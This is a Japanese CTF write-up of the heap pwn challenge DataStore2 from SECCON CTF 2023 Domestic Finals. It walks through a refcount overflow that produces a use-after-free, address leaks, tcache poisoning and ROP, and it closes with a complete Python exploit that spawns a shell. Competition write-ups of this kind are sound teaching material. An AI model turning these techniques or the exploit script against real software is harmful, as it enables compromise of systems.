SECCON CTF 2023 Domestic Finals Writeup

はじめに

SECCON CTF 2023 Domestic FinalsにTSGから参加していました。結果は8位でした。PwnのDataStore2を解くことができたので、そのWriteupです。Domestic限定ではありますが人生初のFirst Bloodで、尚且つ、競技時間中に初めて高難度のPwnを解くことができたのでめちゃくちゃ嬉しかったです。

簡単に時系列で追っていこうと思います。

競技開始

競技開始してすぐ各問題をダウンロードしてtarで全体を固め、CTFNoteに問題をimportしました。

最初に取り掛かったのはWkNoteでした。前日にvagrantのWin11のBoxをダウンロードしておくようアナウンスがあったので期待していたのですが、期待通りWindows Kernel Exploitの問題でした。

しかし、Macvagrantのpluginにはwinrmとwinrm-elevatedが存在せず、代わりにvagrant-winrmというものがあるけれども、配られたVagrantfileを単にvagrant upするだけではVMは起動するもののエラーが出てうまくいきませんでした。

色々やってみても微妙だったのでLinuxGUIの環境を入れてそこにVagrantを入れて実行しようとしたのですが、たまたま持っていたUbuntuのISOでは謎にVMware上で仮想環境を作成できなかったので、とりあえず一旦保留して別の問題を見ることにしました。競技中の環境構築できないがち。ここまで、1時間くらい溶かしてしまいました。

一旦落ち着いて問題セットを見てみることに。babyheapはpascal、bombermanはC++、elkはJS問とあって必然的にDataStore2を解くしかないと気づきます。パッと見heap問ぽくてかなり不安でした。

DataStore2

そもそも2とあるので1が存在するはずなんですが調べるという頭がなく。SECCON CTF 2023 QualsはRev関連を解いていたので気づきませんでしたが、QualsにDataStore1が出ていたんですね。Diffを調べればコードの把握の時間を短縮できたと思うので、反省ポイントです。

DataStoreとあるようにSTRING, UINT, FLOATのデータを保存できるというプログラムです。それらのデータはROOTに直接保存できるだけでなく、ARRAYに格納できます。ARRAYは8個の要素を取ることができ、データを保存できるだけでなく、ARRAYをその要素とすることができます。つまりファイルシステムに似た構造で、例えるならばディレクトリがARRAYで、ファイルがSTRING, UINT, FLOATです。

これらは下に示す構造体などで実装されています。

structure

typedef enum {
    TYPE_EMPTY = 0,
    TYPE_ARRAY = 0xfeed0001,
    TYPE_STRING,
    TYPE_UINT,
    TYPE_FLOAT,
} type_t;

typedef struct {
    type_t type;

    union {
        struct Array *p_arr;
        struct String *p_str;
        uint64_t v_uint;
        double v_float;
    };
} data_t;

typedef struct Array {
    size_t count;
    data_t data[];
} arr_t;

typedef struct String {
    uint8_t ref;
    size_t size;
    char *content;
} str_t;

arr_tARRAYを管理する構造体で、要素の数countとそのcountと同じ長さのdata_tの配列を持っています。str_tSTRINGを管理する構造体で、リファレンスカウントのrefと文字列のsize、そして文字列へのポインタであるcontentを持っています。data_tはデータのtypeの他に、ARRAYSTRINGの場合はそれぞれarr_tstr_tの構造体へのポインタを、UINTFLOATの場合は即値v_uintv_floatをそれぞれ格納しています。

脆弱性

存在する各関数を隈なく読んで、入力を扱う部分に脆弱性がないかな〜と探して2時間が経ち、remove_recursive関数の中でSTRINGが削除される時にstr_t->contentであったポインタがNULLクリアされていないなぁと気づきます。さらにSTRINGを削除する時、そのrefが0になった場合は他に同じstr_tを参照しているデータが存在しないということでstr_t->contentstr_tをfreeするわけですが、refの型はuint8_tなので256以上の参照でinteger overflowを起こせることに気づきます。よってSTRING一つをcreateした後に255回copyしてinteger overflowでrefを1にし、そのSTRINGを一つdeleteすることでUAFを引き起こすことに成功します。

競技後、ptr-yudaiさんは、refが存在するということはやっぱりそれ周りで脆弱性があってuint8_tなのでinteger overflowだよねといったことをおっしゃっていましたし、モラさんもinteger overflowはすぐに分かって〜と言っていたのですが、僕は全部を見て検討した上で最後にそれしかねぇとなって見つけたので、脆弱性を見つける勘がまだまだ身についていないなぁという気持ちです。

前述の通りstr_t->contentのポインタがNULLクリアされていないので、UAFでstr_t->contentの残ったポインタ経由でstr_tに対する文字列の中身の出力を行う(show関数を実行する)ことで、tcacheのチャンクからheapのアドレスをleakすることができます。

remove_recursive関数

static int remove_recursive(data_t *data){
    if(!data)
        return -1;

    switch(data->type){
        case TYPE_ARRAY:
            {
                arr_t *arr = data->p_arr;
                for(int i=0; i<arr->count; i++)
                    if(remove_recursive(&arr->data[i]))
                        return -1;
                free(arr);
                data->p_arr = NULL;
            }
            break;
        case TYPE_STRING:
            {
                str_t *str = data->p_str;
                if(--str->ref < 1){
                    free(str->content);
                    free(str);
                }
                data->p_str = NULL;
            }
            break;
    }
    data->type = TYPE_EMPTY;

    return 0;
}

AARのprimitive

str_tstr_t->contentに対してUAFができる状態です。ここで初出しの情報ですが、STRINGをcreateする時にstr_t->contentのバッファはscanf("%70m[^\n]%*c", &buf);で取られます。この%mというのは初めて知った書式指定子なのですが、heapにバッファ用の領域を作ってそこに入力を格納します。そこまではまぁいいのですが、この時はなぜかtcacheからもfastbinsからも取られません。そのため単にstr_t->contentstr_tを重ねるといったことはできませんでした。

そこで、str_tと重ねて悪いことができる構造体はないかなぁと考えると、arr_tを重ねると嬉しいことが起きるとわかります。str_tは0x20サイズのtcache binsにつながりますが、countが1のarr_tを取ることでstr_tarr_tを重ねられます。そのarr_tUINTを格納するとちょうどstr_t->contentarr_t->data[0]->v_uintが重なるので、好きな値をそのv_uintに入れれば、str_t->contentのポインタとしてその値をアドレスとしてそこに格納されている値を読み出せる、つまりAAR primitiveを得ることができます。

create関数

static int create(data_t *data){
    if(!data || data->type != TYPE_EMPTY)
        return -1;

    printf("Select type: [a]rray/[v]alue\n"
           "> ");

    char t;
    scanf("%c%*c", &t);
    if(t == 'a') {
        printf("input size: ");
        size_t count = getint();
        if(count > 0x8){
            puts("too big!");
            return -1;
        }
        // callocを使っている
        arr_t *arr = (arr_t*)calloc(1, sizeof(arr_t)+sizeof(data_t)*count);
        if(!arr)
            return -1;
        arr->count = count;

        data->type = TYPE_ARRAY;
        data->p_arr = arr;
    }
    else {
        char *buf, *endptr;

        printf("input value: ");
        scanf("%70m[^\n]%*c", &buf);
        if(!buf){
            getchar();
            return -1;
        }

        uint64_t v_uint = strtoull(buf, &endptr, 0);
        if(!endptr || !*endptr){
            data->type = TYPE_UINT;
            data->v_uint = v_uint;
            goto fin;
        }

        double v_float = strtod(buf, &endptr);
        if(!endptr || !*endptr){
            data->type = TYPE_FLOAT;
            data->v_float = v_float;
            goto fin;
        }

        str_t *str = (str_t*)malloc(sizeof(str_t)); // ここはmalloc
        if(!str){
            free(buf);
            return -1;
        }
        str->ref = 1;
        str->size = strlen(buf);
        str->content = buf;
        buf = NULL;

        data->type = TYPE_STRING;
        data->p_str = str;

fin:
        free(buf);
    }

    return 0;
}

なお、ここでarr_tと重ねる際の注意点として、createではcallocが使われているのでtcacheから領域が取られないことに注意です。duplicate_recursiveの方ではmallocで取った後にmemcpyするという実装になっているので、あらかじめcountが1のarr_tを作っておいてそれをすることで、mallocによってtcacheからchunkを取ってstr_tarr_tを重ねる必要があります。

duplicate_recursive関数

static int duplicate_recursive(data_t *dst, data_t *src){
    if(!src || !dst || dst->type != TYPE_EMPTY)
        return -1;
    switch(src->type){
        case TYPE_ARRAY:
            {
                arr_t *arr = src->p_arr;
                size_t sz = sizeof(arr_t)+sizeof(data_t)*arr->count;
                arr_t *new = (arr_t*)malloc(sz); // mallocを使っている
                if(!new)
                    return -1;
                memcpy(new, arr, sz);
                for(int i=0; i<arr->count; i++){
                    switch(arr->data[i].type){
                        case TYPE_ARRAY:
                        case TYPE_STRING:
                            new->data[i].type = TYPE_EMPTY;
                            if(duplicate_recursive(&new->data[i], &arr->data[i]))
                                return -1;
                    }
                }
                dst->type = TYPE_ARRAY;
                dst->p_arr = new;
            }
            break;
        case TYPE_STRING:
            src->p_str->ref++;
        default:
            memcpy(dst, src, sizeof(data_t));
    }
    return 0;
}

任意アドレスをfreeできるprimitive

AARのprimitiveを得る際にstr_t->contentarr_t->data[0]->v_uintが重なることを使いましたが、ここで重ねる際にarr_t->countが1で初期化されるが故にstr_t->refも1となっているので、そのstr_tを使っているSTRINGのデータ(256個のどれか)をdeleteすることで、str_t->contentの指す先を再びfreeすることができます。v_uintには任意の値を入れることができるので、任意のアドレス先をfreeすることができます。

この任意アドレスをfreeできるprimitiveは1日目の16:00くらいには手に入っていたと思います。

libcのアドレスをleak

これまでを整理すると、heapのアドレスが手に入っていて、AARと任意のアドレスをfreeできるprimitiveをゲットしている状態です。今思えば何を悩んでいたのかという話ですがここからlibcのアドレスをleakするまでが長かったです。heapのアドレスのみしか知らないので、僕の思いつく限りでは、適切なサイズのチャンクをfreeしてunsorted binsに繋げることでしかlibcのアドレスをheap上に置くことはできないはずです。多分。

このプログラムではunsorted binsに繋げるようなチャンクは存在しないので、heap上に適切なサイズのfake chunkを作ってそれを任意アドレスをfreeできるprimitiveを使ってfreeするということになります。fake chunkの満たすべき条件はサイズの部分が正しく存在するのと、そのサイズ分進んだ先に使われている扱いのchunkが存在することです。このサイズ部分はstr_t->contentへの書き込みの時に8byte + p64(size)といった形でheap上に残せます。それをfreeすればchunkはunsorted binsにつながり、AARを使ってlibcのアドレスをleakすることができます。

当日は、unsorted binsを使ったlibc leakの経験が少ないというpwnerにあるまじき理由で、全然このlibc leakができませんでした。1日目の会場を後にして、メンバーで日高屋に入ってから宿に戻るまでずっとlibc leakができねぇとブツブツ言っていました。宿に戻って寝落ちしてから多分0:00くらいに起こしてもらって、そこから再び考えて2日目の1:00くらいにようやくlibc leakができました。

stackのアドレスをleak

libcのアドレスを手に入れられていて、AARのprimitiveが存在するので、environからstackのアドレスをleakできます。

一旦ここまでの整理

必要なアドレスは全て手に入れられています。AARのprimitiveを持っています。任意のアドレスに対してfreeできます。

ここからどうにかRIPを取る必要があります。

tcache posioningに関する検討

まず、str_tarr_tに関する操作とUAFの組み合わせだけで、tcache poisoningは可能か検討しました。tcacheのsafe-linkingポインタはstr_t->refarr_t->countとかぶっており、好きな値を入れることはできないので、上のprimitiveだけで即tcache poisoningをすることはできません。

[方針1] return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にstr_t->contentを取る。

arr_tと違って、str_t->contentには自由な書き込みができます。よってこの入力用のバッファを書き換えたい領域に被せて取れないかを考えました。

しかし、scanf("%70m[^\n]%*c", &buf);で取られる領域はtcacheからchunkを取ってきません。そこでまず、fastbinsからワンチャン取ってきたりしないかなと考えました。ARRAYをcreateしてからdeleteすると、arr_tはcallocで取られてfreeされるので、tcacheを埋めてfastbinsに繋げることができます。fastbinsに対してはA, B, Aという順番で間に一つ別のチャンクを挟めばdouble freeできることが知られています。double freeを起こして、str_t->contentをfastbinsからとることができれば、single linked listのポインタを自由に書き換えて、好きなアドレスにfastbinsのチャンクを確保でき、str_t->contentをそこに続けてとることで、自由に書き換えができるのでは?という狙いです。

実際のところfastbinsのsingle linked listの書き換えをまともにやったことがないので、上の方針がまともなのかどうかもわかりませんが、そもそもscanf("%70m[^\n]%*c", &buf);はfastbinsからもchunkを取ることはなかったので、前提が崩壊して無理でした。ここで、どうやらscanf("%70m[^\n]%*c", &buf);はunsorted binsの大きなchunkから小さなchunkを切り出して使っているぞ、ということに気づきます。切り出しに使ったunsorted binsのchunkは適切にresizeされます。

次に、return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にunsorted binsのチャンクを作れないかを考えました。しかし、当然それらの領域にはfake chunkに相応しい状況はなく、何かを書き込むprimitiveは存在しないので、無理筋です。

tcache poisoningのprimitive

方針1の段階で、unsorted binsのchunkからstr_t->content用の領域が切り出されて確保されることが分かりました。このunsorted binsのチャンクはlibcのアドレスleakに使ったfake chunkで、heap上の自由なところから始められます。つまりfake chunkをtcacheに重ねて取ることで、str_t->contentがそこから取られる時にうまく調整すれば、tcacheの構造を保ったままtcacheのsafe-linkingされたポインタのみを違う値に書き換えられます。つまり、tcache poisoningができます。これにより、libcやstackにarr_tstr_tを確保することが可能になります。

[方針2] return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にarr_tを取り、arr_tv_uintなどを駆使してROPやFSOPに繋げる。

tcache poisoningのprimitiveを使うことで、arr_tをlibcやstackに取ることができます。arr_tv_uintを格納することでlibcやstack領域の一部を好きに書き換えられます。ただし、arr_tv_uintの書き込み時には、TYPE_UINT0xfeed0003date_t->typeとしてv_uintの直前に格納されることに注意です。また、v_uintは16の倍数のアドレスにしか格納できないという制約があります。

最初に考えたことは、libcのGOTを書き換えてRIPを取れないかということですが、少なくともputs関数の中の__strlen_avx2のGOTは書き換えられなさそうでした。

次に、FSOPを検討しましたが、どうも無理筋だなぁとなります。16の倍数のアドレスにしか書き込めないのと、0xfeed0003などが書き込まれてしまうという制約がきつすぎて無理そうです。

ROPも考えてみましたが、これも無理そうです。return addressは下1nibbleが8のstackのアドレスに存在するので、v_uintと重なりません。str_t->refも重ならないので、str_t->refを被せて++でずらすというのも無理です。v_uintの場所とchunkのサイズの部分も重ならないので、stack上に適切なchunkサイズとなる値をv_uintで作って、その領域をfreeしてunsorted binsに繋げるというのも無理筋です。

一方でv_uintはsaved rbpと重ねることができます。main関数とそのサブルーチンにcanaryが存在しないので、leave retを2回踏むことでstack pivotできないか、というのも検討しました。その時は無理そうと結論付けて別の方法を探しましたが、後でモラさんに聞いたところチーム:(はその方針で解いたらしいです。一度もっとちゃんと試してみるべきだったなぁと思うなど。かなりの特殊ケースなので、うまくいかないと思ってしまったんですよね。

[方針3] return address付近にarr_tを取り、別のarr_tduplicate_recursive関数でmemcpyする。

これまで色々試した結果、以下のことが整理できました。2日目の会場に着いて、1時間くらい経った頃にこの整理をやっていたと思います。解けそうで解けないを何回も繰り返しながら時間が過ぎていくだけという状況で焦っていたので、一旦落ち着いて整理しようという気持ちでした。

  • arr_tstr_tはstackやlibcなどの書き換えたい領域にとれる。
  • str_t->contentはheap上のfake chunkを作れる領域自由に取ることは可能であるが、stackやlibcの領域には絶対に取れなさそう。
  • arr_tstr_tに対する直接の操作では、ROPやFSOPは無理そう。

そこで注目したのが、duplicate_recursiveARRAYをコピーする際にmemcpyを使ってarr_tの内容を別のarr_tに複製している点です。これに気づいた時に、ああ僕はこの問題解けたんだと思いました。str_t->contentが取れない時点でこのmemcpyしかstack上に制約なしに書き込める方法はないので、気づかなくてはならないことだったと思いますし、気づけて良かったです。

duplicate_recursive関数

static int duplicate_recursive(data_t *dst, data_t *src){
    if(!src || !dst || dst->type != TYPE_EMPTY)
        return -1;
    switch(src->type){
        case TYPE_ARRAY:
            {
                arr_t *arr = src->p_arr;
                size_t sz = sizeof(arr_t)+sizeof(data_t)*arr->count;
                arr_t *new = (arr_t*)malloc(sz); // mallocを使っている
                if(!new)
                    return -1;
                memcpy(new, arr, sz);
                for(int i=0; i<arr->count; i++){
                    switch(arr->data[i].type){
                        case TYPE_ARRAY:
                        case TYPE_STRING:
                            new->data[i].type = TYPE_EMPTY;
                            if(duplicate_recursive(&new->data[i], &arr->data[i]))
                                return -1;
                    }
                }
                dst->type = TYPE_ARRAY;
                dst->p_arr = new;
            }
            break;
        case TYPE_STRING:
            src->p_str->ref++;
        default:
            memcpy(dst, src, sizeof(data_t));
    }
    return 0;
}

勿論コピー元のarr_tは普通のarr_tに対する操作だけでは好きな値を書き込むことはできませんが、heap上にあるということは、str_t->contentを重ねられます。まず、tcache poisoningを起こした時のように、既存のarr_tstr_t->contentと重ね、そこにROPのpayloadを書き込んでおきます。次にtcache poisoningのprimitiveを経由してstack上のreturn addressに重なるようにarr_tを取ります。そして、duplicate_recursiveでROPのpayloadが置かれているarr_tの内容をmemcpyで複製すれば、ROPのpayloadをreturn addressのメモリ領域に配置できます。最後はmainからreturnすれば、ROPが発火してシェルを取れます。

DataStore2 Domestic FirstBlood

exploit.py

from ptrlib import *

elf = ELF('./chall')

libc = ELF('./libc.so.6')

io = process('./chall')
#io = remote('datastore2.dom.seccon.games', 7352)
#io.debug = True

def create_string(indexs=[], data="ABCDEFGH"):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", indexs[i])
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", 'v')
    io.sendlineafter(": ", data)
    return

def create_uint(indexs=[], integer=0xdeadbeef):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", 'v')
    io.sendlineafter(": ", str(integer))
    return

def create_array(indexs=[], size=8):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", 'a')
    io.sendlineafter(": ", str(size))
    return

def delete(indexs=[]):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '2')
    return

def copy(indexs, dst):
    # indexs[-1] == src
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '3')
    io.sendlineafter(": ", str(dst))
    return

def list():
    io.sendlineafter("> ", "2")
    return


fakechunk_size = 0x6b1
def make_256_ref():
    # create root array
    create_array()
    # create init array
    create_array(indexs=[0])
    create_array(indexs=[0, 0])
    create_string([0, 0, 0])
    create_string([0, 0, 7], b"FAKESIZE"+p64(fakechunk_size))
    for i in range(0, 3):
        copy([0, 0, 0], i+1)

    # copy init array (256 ref)
    for i in range(0, 8-1):
        copy([0, 0], i+1)
    for i in range(0, 8-1):
        copy([0], i+1)
    return


make_256_ref()
# add 8 ref
copy([1,6,0], 5)
copy([1,6,0], 6)
copy([1,7,0], 5)
copy([1,7,0], 6)
copy([2,6,0], 5)
copy([2,6,0], 6)
copy([2,7,0], 5)
copy([2,7,0], 6)

# delete 2 array -> uaf
delete([0, 7])
delete([0, 2]) # 0x90 tcache bins * 2

# leak heap address
list()
io.recvuntil("List")
io.recvuntil("List")
io.recvuntil("<S>")
addr = io.recvline()
heap_base = u64(addr) <<4
print("[+] heap address leaked")
print(hex(heap_base))

# free fake chunk
io.recvuntil("MENU")
create_array([0, 0, 4], size=1)
copy([0, 0, 4], 5) # overlap arr_t on str_t
fake_chunk_addr = heap_base + 0x310
create_uint([0, 0, 5, 0], fake_chunk_addr) # str_t->content to fake_chunk_addr
delete([0, 0, 3]) # free str_t and str_t->content

# leak libc address
# (leak in the process of copying an array)
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.recvuntil("MENU")
io.recvuntil("<S>")
addr = io.recvline()[1:]
libc.base = u64(addr) - 0x219ce0
print("[+] libc address leaked")
print(hex(libc.base))

io.sendlineafter(": ", '4')
io.sendlineafter("> ", '3')
io.sendlineafter(": ", '6') # copy [0, 0, 4] array to [0, 0, 6]

bin_sh_addr = next(libc.find('/bin/sh'))
pop_rdi_ret = libc.base + 0x10f2f8
ret_addr = libc.base + 0x1b40b9
system_addr = libc.symbol('system')

delete([0, 0, 7])

# leak stack address
# (leak in the process of writing ROP payload to [0, 1] arr_t)
create_uint([0, 0, 6, 0], libc.symbol('environ'))
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.recvuntil("MENU")
io.recvuntil("<S>")
addr = io.recvline()[1:]
return_addr = u64(addr) - 0x120
print("[+] stack address leaked")
print(hex(return_addr))

io.sendlineafter(": ", '3')
io.sendlineafter("> ", '1')
io.sendlineafter("> ", 'v')

rop_payload = p64(pop_rdi_ret)
rop_payload += p64(bin_sh_addr)
rop_payload += p64(ret_addr)
rop_payload += p64(system_addr)[:-1]
io.sendlineafter(": ", b"ROPPAYLOADWRITE!" + p64(8) + rop_payload)

# tcache poisoning
payload = b"P" * 0x28 # padding
payload += p64(0x91) # tcache size
payload += p64(heap_base >> 12 ^ return_addr-8)[:-1] # overwrite safe-linking ptr
create_string([0, 0, 7], payload)

# use tcache 0x90
copy([0, 6], 2)

# allocate arr_t chunk on stack and memcpy rop_payload
copy([0, 1], 7)

#input()
io.sendlineafter("> ", 0)
print("[+] pwned!!!")
io.recvuntil("Bye.\n")
io.interactive()

競技終了まで

DataStore2を通せてFirst Blood嬉しい!という気持ちと、0点で終わらなくて良かったとホッとした気持ちの半々でした。

WkNoteに取り組む時間はなさそうだったので、efsbkとbombermanとbabyheapを見ていました。しかし、何も解けず。途中でDataStore2のタイムアウトを緩めてもいいかという打診があったので、OKしました。タイムアウト自体はexploitの本質?自体には関係なさそうというのと、必要なことは無駄な入力を減らすだけなので打診してきたチームのsolveは遅かれ早かれ出てしまうだろうから、競技終了時の点数には影響しないと思われるのと、何よりarr_tの制約に悩まされた同志なので。

同じく一つの問題に長時間取り組んでいたjiei氏がmuck-a-macを解いてくれた後、caphosra氏とjiei氏で協力してDLP 4.0を通してくれて競技終了でした。

感想

もっと速く、たくさん解けるようになりたいです。今後はC言語以外のPwn問題にも取り組んでいきたいです。他のWriteupを見る限り、efsbkは解けるべきだったなという気持ちに。個人的にWkNoteとelkとokihaiは、今後優先的にUpSolveしていきたいです。

運営の皆様、会場でお会いできた他のチームの方々ありがとうございました。来年もTSGでFinalsに参加したいと思っています。